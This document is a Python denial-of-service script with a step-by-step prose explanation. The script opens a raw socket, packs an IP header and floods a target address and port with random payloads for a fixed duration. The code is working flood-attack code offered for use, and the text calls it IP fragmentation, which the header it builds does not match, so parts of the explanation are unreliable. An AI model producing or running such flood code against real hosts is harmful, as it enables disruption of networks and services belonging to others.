Python Complete Code:
import socket
import random
import struct
import time
def ip_frag(target_ip, target_port, duration):
# Create a raw socket
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
# Generate random data
data = random._urandom(1024)
# Set IP header
ip_header = struct.pack('!BBHHHBBH4s4s', 69, 0, 28, random.randint(0, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton(target_ip), socket.inet_aton(target_ip))
# Send data
timeout = time.time() + duration
sent_packets = 0
while time.time() < timeout:
sock.sendto(ip_header + data, (target_ip, target_port))
sent_packets += 1
# Close the socket
sock.close()
# Return the number of sent packets
return sent_packets
# Target IP and port for the attack
target_ip = "192.168.1.1"
target_port = 5000
# Attack duration (in seconds)
duration = 10
# Start the attack
sent_packets = ip_frag(target_ip, target_port, duration)
# Print the attack result
print("Attack completed, total packets sent: {}".format(sent_packets))
This script is written in Python. It attacks a target IP and port by creating a raw socket and sending IP fragmented packets.
First, the script imports necessary modules including socket, random, struct, and time. Then, it defines a function named ip_frag that takes target IP, target port, and attack duration as parameters.
Inside the function, it first creates a raw socket object for sending raw IP packets. Then, it generates random data using the random module as the content of the attack data.
Next, it packs the IP header data using the struct module. The IP header is a binary data containing various fields used to identify and route IP packets. Here, the struct.pack function is used to pack the fields of the IP header into binary data according to a specific format.
Then, it uses a loop to send the attack packets. The loop continuously sends packets within the attack duration. Each time, it combines the IP header and random data packet together and sends it to the target IP and port using the sock.sendto function. At the same time, it keeps track of the number of sent packets.
Finally, after the attack is finished, it closes the socket and returns the number of sent packets.
The last part of the script is the main program. In the main program, it specifies the target IP and port for the attack, as well as the attack duration. Then, it calls the ip_frag function to perform the attack and prints out the number of sent packets.
This script utilizes a raw socket to send IP fragmented packets with the aim of attacking a specific target IP address and port. It consumes the network resources of the target host by continuously sending packets, potentially causing the target host's network services to become unavailable.